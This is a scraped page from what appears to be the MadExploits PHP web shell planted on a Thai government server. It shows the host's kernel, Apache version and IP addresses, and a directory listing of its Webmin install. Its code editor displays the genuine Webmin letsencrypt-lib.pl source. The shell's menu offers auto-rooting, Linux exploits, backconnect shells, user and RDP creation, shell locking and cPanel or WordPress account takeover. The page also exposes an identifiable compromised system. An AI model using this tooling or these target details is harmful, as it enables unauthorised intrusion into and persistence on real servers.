Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
webmin /
[ HOME SHELL ]
Name
Size
Permission
Action
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
subdir
[ DIR ]
drwxr-xr-x
CHANGELOG
11.73
KB
-rw-r--r--
acme_tiny.py
11.24
KB
-rwxr-xr-x
adminupgrade
299
B
-rw-r--r--
backup_config.pl
1.97
KB
-rwxr-xr-x
bootup.cgi
1.04
KB
-rwxr-xr-x
cache.cgi
1.47
KB
-rwxr-xr-x
cgi_args.pl
159
B
-rwxr-xr-x
change_access.cgi
1.34
KB
-rwxr-xr-x
change_advanced.cgi
2.51
KB
-rwxr-xr-x
change_anon.cgi
712
B
-rwxr-xr-x
change_bind.cgi
4.29
KB
-rwxr-xr-x
change_ca.cgi
674
B
-rwxr-xr-x
change_debug.cgi
1.38
KB
-rwxr-xr-x
change_lang.cgi
572
B
-rwxr-xr-x
change_lock.cgi
554
B
-rwxr-xr-x
change_log.cgi
2.27
KB
-rwxr-xr-x
change_mobile.cgi
940
B
-rwxr-xr-x
change_os.cgi
1.85
KB
-rwxr-xr-x
change_osdn.cgi
1.54
KB
-rwxr-xr-x
change_overlay.cgi
1.16
KB
-rwxr-xr-x
change_proxy.cgi
1.09
KB
-rwxr-xr-x
change_referers.cgi
633
B
-rwxr-xr-x
change_session.cgi
4.25
KB
-rwxr-xr-x
change_ssl.cgi
2.47
KB
-rwxr-xr-x
change_startpage.cgi
773
B
-rwxr-xr-x
change_status.cgi
1.02
KB
-rwxr-xr-x
change_theme.cgi
1.16
KB
-rwxr-xr-x
change_twofactor.cgi
1.43
KB
-rwxr-xr-x
change_ui.cgi
1.65
KB
-rwxr-xr-x
change_web.cgi
1.52
KB
-rwxr-xr-x
clear_blocked.cgi
154
B
-rwxr-xr-x
clear_cache.cgi
205
B
-rwxr-xr-x
clone_mod.cgi
2.06
KB
-rwxr-xr-x
config
94
B
-rw-r--r--
config.info
473
B
-rw-r--r--
config.info.ar
414
B
-rw-r--r--
config.info.ca
400
B
-rw-r--r--
config.info.ca.UTF-8
408
B
-rw-r--r--
config.info.cz
278
B
-rw-r--r--
config.info.cz.UTF-8
293
B
-rw-r--r--
config.info.de
368
B
-rw-r--r--
config.info.de.UTF-8
368
B
-rw-r--r--
config.info.es
322
B
-rw-r--r--
config.info.es.UTF-8
322
B
-rw-r--r--
config.info.fa
308
B
-rw-r--r--
config.info.fr
135
B
-rw-r--r--
config.info.fr.UTF-8
135
B
-rw-r--r--
config.info.hr
0
B
-rw-r--r--
config.info.hu
0
B
-rw-r--r--
config.info.it
307
B
-rw-r--r--
config.info.it.UTF-8
307
B
-rw-r--r--
config.info.ja_JP.UTF-8
452
B
-rw-r--r--
config.info.ja_JP.euc
345
B
-rw-r--r--
config.info.ko_KR.UTF-8
274
B
-rw-r--r--
config.info.ko_KR.euc
231
B
-rw-r--r--
config.info.ms
119
B
-rw-r--r--
config.info.ms.UTF-8
119
B
-rw-r--r--
config.info.ms_MY
286
B
-rw-r--r--
config.info.ms_MY.UTF-8
286
B
-rw-r--r--
config.info.nl
299
B
-rw-r--r--
config.info.nl.UTF-8
299
B
-rw-r--r--
config.info.no
299
B
-rw-r--r--
config.info.no.UTF-8
299
B
-rw-r--r--
config.info.pl
273
B
-rw-r--r--
config.info.pl.UTF-8
284
B
-rw-r--r--
config.info.pt_BR
433
B
-rw-r--r--
config.info.pt_BR.UTF-8
433
B
-rw-r--r--
config.info.ru.UTF-8
491
B
-rw-r--r--
config.info.ru_RU
317
B
-rw-r--r--
config.info.ru_RU.UTF-8
491
B
-rw-r--r--
config.info.ru_SU
317
B
-rw-r--r--
config.info.sk
128
B
-rw-r--r--
config.info.sk.UTF-8
132
B
-rw-r--r--
config.info.sv
262
B
-rw-r--r--
config.info.sv.UTF-8
262
B
-rw-r--r--
config.info.tr
149
B
-rw-r--r--
cpan_modules.pl
248
B
-rwxr-xr-x
defaultacl
17
B
-rw-r--r--
delete_cache.cgi
471
B
-rwxr-xr-x
delete_mod.cgi
2.24
KB
-rwxr-xr-x
delete_webmincron.cgi
1.51
KB
-rwxr-xr-x
download_cert.cgi
532
B
-rwxr-xr-x
edit_access.cgi
1.72
KB
-rwxr-xr-x
edit_advanced.cgi
3.72
KB
-rwxr-xr-x
edit_anon.cgi
812
B
-rwxr-xr-x
edit_assignment.cgi
1.12
KB
-rwxr-xr-x
edit_bind.cgi
2.44
KB
-rwxr-xr-x
edit_blocked.cgi
944
B
-rwxr-xr-x
edit_ca.cgi
2.82
KB
-rwxr-xr-x
edit_categories.cgi
1.71
KB
-rwxr-xr-x
edit_debug.cgi
2.04
KB
-rwxr-xr-x
edit_descs.cgi
1.49
KB
-rwxr-xr-x
edit_ipkey.cgi
1.7
KB
-rwxr-xr-x
edit_lang.cgi
931
B
-rwxr-xr-x
edit_lock.cgi
763
B
-rwxr-xr-x
edit_log.cgi
3.49
KB
-rwxr-xr-x
edit_mobile.cgi
1.3
KB
-rwxr-xr-x
edit_mods.cgi
4.67
KB
-rwxr-xr-x
edit_os.cgi
2.72
KB
-rwxr-xr-x
edit_proxy.cgi
3.7
KB
-rwxr-xr-x
edit_referers.cgi
875
B
-rwxr-xr-x
edit_sendmail.cgi
3.08
KB
-rwxr-xr-x
edit_session.cgi
4.54
KB
-rwxr-xr-x
edit_ssl.cgi
10.45
KB
-rwxr-xr-x
edit_startpage.cgi
1.97
KB
-rwxr-xr-x
edit_status.cgi
1.13
KB
-rwxr-xr-x
edit_themes.cgi
3.71
KB
-rwxr-xr-x
edit_twofactor.cgi
1.5
KB
-rwxr-xr-x
edit_ui.cgi
2.74
KB
-rwxr-xr-x
edit_upgrade.cgi
6.26
KB
-rwxr-xr-x
edit_web.cgi
2.46
KB
-rwxr-xr-x
edit_webmincron.cgi
1.35
KB
-rwxr-xr-x
export_mod.cgi
1.2
KB
-rwxr-xr-x
feedback_files.pl
126
B
-rwxr-xr-x
fix_os.cgi
226
B
-rwxr-xr-x
gnupg-lib.pl
12.15
KB
-rwxr-xr-x
hide.cgi
326
B
-rwxr-xr-x
index.cgi
4.02
KB
-rwxr-xr-x
install_mod.cgi
4.2
KB
-rwxr-xr-x
install_theme.cgi
2.29
KB
-rwxr-xr-x
jcameron-key.asc
1.29
KB
-rw-r--r--
letsencrypt-cleanup.pl
1.26
KB
-rwxr-xr-x
letsencrypt-dns.pl
1.52
KB
-rwxr-xr-x
letsencrypt-lib.pl
11.22
KB
-rwxr-xr-x
letsencrypt.cgi
4.59
KB
-rwxr-xr-x
log_parser.pl
1.23
KB
-rwxr-xr-x
module.info
195
B
-rw-r--r--
module.info.ar
185
B
-rw-r--r--
module.info.ca
131
B
-rw-r--r--
module.info.ca.UTF-8
146
B
-rw-r--r--
module.info.cz
28
B
-rw-r--r--
module.info.cz.UTF-8
34
B
-rw-r--r--
module.info.de
126
B
-rw-r--r--
module.info.de.UTF-8
138
B
-rw-r--r--
module.info.es
32
B
-rw-r--r--
module.info.es.UTF-8
39
B
-rw-r--r--
module.info.fr
32
B
-rw-r--r--
module.info.fr.UTF-8
38
B
-rw-r--r--
module.info.hu
27
B
-rw-r--r--
module.info.hu.UTF-8
36
B
-rw-r--r--
module.info.it
33
B
-rw-r--r--
module.info.it.UTF-8
39
B
-rw-r--r--
module.info.ja_JP.UTF-8
31
B
-rw-r--r--
module.info.ja_JP.euc
27
B
-rw-r--r--
module.info.ko_KR.UTF-8
31
B
-rw-r--r--
module.info.ko_KR.euc
27
B
-rw-r--r--
module.info.ms_MY
125
B
-rw-r--r--
module.info.ms_MY.UTF-8
137
B
-rw-r--r--
module.info.nl
28
B
-rw-r--r--
module.info.nl.UTF-8
34
B
-rw-r--r--
module.info.no
29
B
-rw-r--r--
module.info.no.UTF-8
35
B
-rw-r--r--
module.info.pl
151
B
-rw-r--r--
module.info.pl.UTF-8
167
B
-rw-r--r--
module.info.pt
31
B
-rw-r--r--
module.info.pt.UTF-8
39
B
-rw-r--r--
module.info.pt_BR
44
B
-rw-r--r--
module.info.pt_BR.UTF-8
50
B
-rw-r--r--
module.info.ru.UTF-8
40
B
-rw-r--r--
module.info.ru_RU
28
B
-rw-r--r--
module.info.ru_RU.UTF-8
43
B
-rw-r--r--
module.info.ru_SU
28
B
-rw-r--r--
module.info.sk
29
B
-rw-r--r--
module.info.sk.UTF-8
36
B
-rw-r--r--
module.info.sv
29
B
-rw-r--r--
module.info.sv.UTF-8
36
B
-rw-r--r--
module.info.tr
30
B
-rw-r--r--
module.info.zh_CN
23
B
-rw-r--r--
module.info.zh_TW.Big5
28
B
-rw-r--r--
newcsr.cgi
800
B
-rwxr-xr-x
newkey.cgi
879
B
-rwxr-xr-x
postinstall.pl
1.83
KB
-rwxr-xr-x
refresh_modules.cgi
664
B
-rwxr-xr-x
restart.cgi
87
B
-rwxr-xr-x
save_assignment.cgi
485
B
-rwxr-xr-x
save_categories.cgi
946
B
-rwxr-xr-x
save_descs.cgi
1006
B
-rwxr-xr-x
save_ipkey.cgi
1.31
KB
-rwxr-xr-x
save_newmod.cgi
278
B
-rwxr-xr-x
save_sendmail.cgi
1.73
KB
-rwxr-xr-x
save_webmincron.cgi
1016
B
-rwxr-xr-x
savekey.cgi
2.8
KB
-rwxr-xr-x
setup_ca.cgi
1.52
KB
-rwxr-xr-x
standard_chooser.cgi
1.68
KB
-rwxr-xr-x
stop_ca.cgi
1.03
KB
-rwxr-xr-x
syslog_logs.pl
633
B
-rwxr-xr-x
system_info.pl
4.49
KB
-rw-r--r--
test_sendmail.cgi
784
B
-rwxr-xr-x
third_chooser.cgi
1.55
KB
-rwxr-xr-x
uninstall.pl
379
B
-rwxr-xr-x
update.cgi
2.86
KB
-rwxr-xr-x
update.pl
3.18
KB
-rwxr-xr-x
update_sched.cgi
2.31
KB
-rwxr-xr-x
upgrade.cgi
15.78
KB
-rwxr-xr-x
view_webmincron.cgi
1.66
KB
-rwxr-xr-x
webmin-lib.pl
74.17
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : letsencrypt-lib.pl
# Functions for cert creation with Let's Encrypt if ($config{'letsencrypt_cmd'}) { $letsencrypt_cmd = &has_command($config{'letsencrypt_cmd'}); } else { $letsencrypt_cmd = &has_command("letsencrypt-auto") || &has_command("letsencrypt") || &has_command("certbot-auto") || &has_command("certbot"); } $account_key = "$module_config_directory/letsencrypt.pem"; $letsencrypt_chain_urls = [ "https://letsencrypt.org/certs/lets-encrypt-x3-cross-signed.pem", ]; sub get_letsencrypt_python_cmd { return &has_command("python2.7") || &has_command("python27") || &has_command("python2.6") || &has_command("python26") || &has_command("python"); } # check_letsencrypt() # Returns undef if all dependencies are installed, or an error message sub check_letsencrypt { if (&has_command($letsencrypt_cmd)) { # Use official client return undef; } my $python = &get_letsencrypt_python_cmd(); if (!$python || !&has_command("openssl")) { return $text{'letsencrypt_ecmds'}; } my $out = &backquote_command("$python -c 'import argparse' 2>&1"); if ($?) { return &text('letsencrypt_epythonmod', '<tt>argparse</tt>'); } my $ver = &backquote_command("$python --version 2>&1"); if ($ver !~ /Python\s+([0-9\.]+)/) { return &text('letsencrypt_epythonver', "<tt>".&html_escape($out)."</tt>"); } $ver = $1; if ($ver < 2.5) { return &text('letsencrypt_epythonver2', '2.5', $ver); } return undef; } # get_letsencrypt_install_message(return-link, return-title) # Returns a link or form to install Let's Encrypt sub get_letsencrypt_install_message { my ($rlink, $rmsg) = @_; &foreign_require("software"); return &software::missing_install_link( "certbot", $text{'letsencrypt_certbot'}, $rlink, $rmsg); } # request_letsencrypt_cert(domain|&domains, webroot, [email], [keysize], # [request-mode], [use-staging]) # Attempt to request a cert using a generated key with the Let's Encrypt client # command, and write it to the given path. Returns a status flag, and either # an error message or the paths to cert, key and chain files. sub request_letsencrypt_cert { my ($dom, $webroot, $email, $size, $mode, $staging) = @_; my @doms = ref($dom) ? @$dom : ($dom); $email ||= "root\@$doms[0]"; $mode ||= "web"; my ($challenge, $wellknown, $challenge_new, $wellknown_new, $wildcard); # Wildcard mode? foreach my $d (@doms) { if ($d =~ /^\*/) { $wildcard = $d; } } if ($mode eq "web") { # Create a challenges directory under the web root if ($wildcard) { return (0, "Wildcard hostname $wildcard can only be ". "validated in DNS mode"); } $wellknown = "$webroot/.well-known"; $challenge = "$wellknown/acme-challenge"; $wellknown_new = !-d $wellknown ? $wellknown : undef; $challenge_new = !-d $challenge ? $challenge : undef; my @st = stat($webroot); my $user = getpwuid($st[4]); if (!-d $challenge) { my $cmd = "mkdir -p -m 755 ".quotemeta($challenge); if ($user && $user ne "root") { $cmd = &command_as_user($user, 0, $cmd); } my $out = &backquote_logged("$cmd 2>&1"); if ($?) { return (0, "mkdir failed : $out"); } } # Create a .htaccess file to ensure the directory is accessible if (&foreign_installed("apache")) { &foreign_require("apache"); my $htaccess = "$challenge/.htaccess"; if (!-r $htaccess && $apache::httpd_modules{'core'} >= 2.2) { &open_tempfile(HT, ">$htaccess"); &print_tempfile(HT, "AuthType None\n"); &print_tempfile(HT, "Require all granted\n"); &print_tempfile(HT, "Satisfy any\n"); &close_tempfile(HT); &set_ownership_permissions( $user, undef, 0755, $htaccess); } } } elsif ($mode eq "dns") { # Make sure all the DNS zones exist if ($wildcard && !$letsencrypt_cmd) { return (0, "Wildcard hostname $wildcard can only be ". "validated when the certbot Let's Encrypt client ". "is installed"); } &foreign_require("bind8"); foreach my $d (@doms) { my $z = &get_bind_zone_for_domain($d); $z || return (0, "Neither DNS zone $d or any of its ". "sub-domains exist on this system"); } } else { return (0, "Unknown mode $mode"); } # Create DNS hook wrapper scripts my $dns_hook = "$module_config_directory/letsencrypt-dns.pl"; my $cleanup_hook = "$module_config_directory/letsencrypt-cleanup.pl"; if ($mode eq "dns") { &foreign_require("cron"); &cron::create_wrapper($dns_hook, $module_name, "letsencrypt-dns.pl"); &cron::create_wrapper($cleanup_hook, $module_name, "letsencrypt-cleanup.pl"); } if ($letsencrypt_cmd) { # Call the native Let's Encrypt client my $temp = &transname(); &open_tempfile(TEMP, ">$temp"); &print_tempfile(TEMP, "email = $email\n"); &print_tempfile(TEMP, "text = True\n"); &close_tempfile(TEMP); my $dir = $letsencrypt_cmd; $dir =~ s/\/[^\/]+$//; $size ||= 2048; my $out; if ($mode eq "web") { # Webserver based validation &clean_environment(); $out = &backquote_command( "cd $dir && (echo A | $letsencrypt_cmd certonly". " -a webroot ". join("", map { " -d ".quotemeta($_) } @doms). " --webroot-path ".quotemeta($webroot). " --duplicate". " --force-renewal". " --manual-public-ip-logging-ok". " --non-interactive". " --agree-tos". " --config $temp". " --rsa-key-size $size". " --cert-name ".quotemeta($doms[0]). ($staging ? " --test-cert" : ""). " 2>&1)"); &reset_environment(); } elsif ($mode eq "dns") { # DNS based validation, via hook script &clean_environment(); $out = &backquote_command( "cd $dir && (echo A | $letsencrypt_cmd certonly". " --manual". join("", map { " -d ".quotemeta($_) } @doms). " --preferred-challenges=dns". " --manual-auth-hook $dns_hook". " --manual-cleanup-hook $cleanup_hook". " --duplicate". " --force-renewal". " --manual-public-ip-logging-ok". " --non-interactive". " --agree-tos". " --config $temp". " --rsa-key-size $size". " --cert-name ".quotemeta($doms[0]). ($staging ? " --test-cert" : ""). " 2>&1)"); &reset_environment(); } else { &cleanup_wellknown($wellknown_new, $challenge_new); return (0, "Bad mode $mode"); } if ($?) { &cleanup_wellknown($wellknown_new, $challenge_new); return (0, "<pre>".&html_escape($out || "No output from $letsencrypt_cmd")."</pre>"); } my ($full, $cert, $key, $chain); if ($out =~ /(\/etc\/letsencrypt\/(?:live|archive)\/[a-zA-Z0-9\.\_\-\/\r\n\* ]*\.pem)/) { # Output contained the full path $full = $1; $full =~ s/\s//g; } else { # Try searching common paths my @fulls = glob("/etc/letsencrypt/live/$doms[0]-*/cert.pem"); if (@fulls) { my %stats = map { $_, [ stat($_) ] } @fulls; @fulls = sort { $stats{$a}->[9] <=> $stats{$b}->[9] } @fulls; $full = pop(@fulls); } else { &cleanup_wellknown($wellknown_new, $challenge_new); &error("Output did not contain a PEM path!"); } } -r $full && -s $full || return (0, &text('letsencrypt_efull', $full)); $full =~ s/\/[^\/]+$//; $cert = $full."/cert.pem"; -r $cert && -s $cert || return (0, &text('letsencrypt_ecert', $cert)); $key = $full."/privkey.pem"; -r $key && -s $key || return (0, &text('letsencrypt_ekey', $key)); $chain = $full."/chain.pem"; $chain = undef if (!-r $chain); &set_ownership_permissions(undef, undef, 0600, $cert); &set_ownership_permissions(undef, undef, 0600, $key); &set_ownership_permissions(undef, undef, 0600, $chain); &cleanup_wellknown($wellknown_new, $challenge_new); return (1, $cert, $key, $chain); } else { # Fall back to local Python client $size ||= 4096; # Generate the account key if missing if (!-r $account_key) { my $out = &backquote_logged( "openssl genrsa 4096 2>&1 >$account_key"); if ($?) { &cleanup_wellknown($wellknown_new, $challenge_new); return (0, &text('letsencrypt_eaccountkey', &html_escape($out))); } } # Generate a key for the domain my $key = &transname(); my $out = &backquote_logged("openssl genrsa $size 2>&1 >$key"); if ($?) { &cleanup_wellknown($wellknown_new, $challenge_new); return (0, &text('letsencrypt_ekeygen', &html_escape($out))); } # Generate a CSR my $csr = &transname(); my ($ok, $csr) = &generate_ssl_csr($key, undef, undef, undef, undef, undef, \@doms, undef); if (!$ok) { &cleanup_wellknown($wellknown_new, $challenge_new); return &text('letsencrypt_ecsr', $csr); } ©_source_dest($csr, "/tmp/lets.csr", 1); # Find a reasonable python version my $python = &get_letsencrypt_python_cmd(); # Request the cert and key my $cert = &transname(); &clean_environment(); my $out = &backquote_logged( "$python $module_root_directory/acme_tiny.py ". "--account-key ".quotemeta($account_key)." ". "--csr ".quotemeta($csr)." ". ($mode eq "web" ? "--acme-dir ".quotemeta($challenge)." " : "--dns-hook $dns_hook ". "--cleanup-hook $cleanup_hook "). ($staging ? "--ca https://acme-staging.api.letsencrypt.org " : ""). "--quiet ". "2>&1 >".quotemeta($cert)); &reset_environment(); if ($?) { my @lines = split(/\r?\n/, $out); my $trace; for(my $i=1; $i<@lines; $i++) { if ($lines[$i] =~ /^Traceback\s+/) { $trace = $i; last; } } if ($trace) { @lines = @lines[0 .. $trace-1]; $out = join("\n", @lines); } &cleanup_wellknown($wellknown_new, $challenge_new); return (0, &text('letsencrypt_etiny', "<pre>".&html_escape($out))."</pre>"); } -r $cert && -s $cert || return (0, &text('letsencrypt_ecert', $cert)); # Download the latest chained cert files my $chain = &transname(); foreach my $url (@$letsencrypt_chain_urls) { my $cout; my ($host, $port, $page, $ssl) = &parse_http_url($url); my $err; &http_download($host, $port, $page, \$cout, \$err, undef, $ssl); if ($err) { &cleanup_wellknown($wellknown_new, $challenge_new); return (0, &text('letsencrypt_echain', $err)); } if ($cout !~ /\S/ && !-r $chain) { &cleanup_wellknown($wellknown_new, $challenge_new); return (0, &text('letsencrypt_echain2', $url)); } my $fh = "CHAIN"; &open_tempfile($fh, ">>$chain"); &print_tempfile($fh, $cout); &close_tempfile($fh); } # Copy the per-domain files my $certfinal = "$module_config_directory/$doms[0].cert"; my $keyfinal = "$module_config_directory/$doms[0].key"; my $chainfinal = "$module_config_directory/$doms[0].chain"; ©_source_dest($cert, $certfinal, 1); ©_source_dest($key, $keyfinal, 1); ©_source_dest($chain, $chainfinal, 1); &set_ownership_permissions(undef, undef, 0600, $certfinal); &set_ownership_permissions(undef, undef, 0600, $keyfinal); &set_ownership_permissions(undef, undef, 0600, $chainfinal); &unlink_file($cert); &unlink_file($key); &unlink_file($chain); &cleanup_wellknown($wellknown_new, $challenge_new); return (1, $certfinal, $keyfinal, $chainfinal); } } # cleanup_wellknown(wellknown, challenge) # Delete directories that were created as part of this process sub cleanup_wellknown { my ($wellknown_new, $challenge_new) = @_; &unlink_file($challenge_new) if ($challenge_new); &unlink_file($wellknown_new) if ($wellknown_new); } # get_bind_zone_for_domain(domain) # Given a hostname like www.foo.com, return the local BIND zone that contains # it like foo.com sub get_bind_zone_for_domain { my ($d) = @_; &foreign_require("bind8"); my $bd = $d; while ($bd =~ /\./) { my $z = &bind8::get_zone_name($bd, "any"); if ($z) { return ($z, $bd); } $bd =~ s/^[^\.]+\.//; } return ( ); } 1;
Close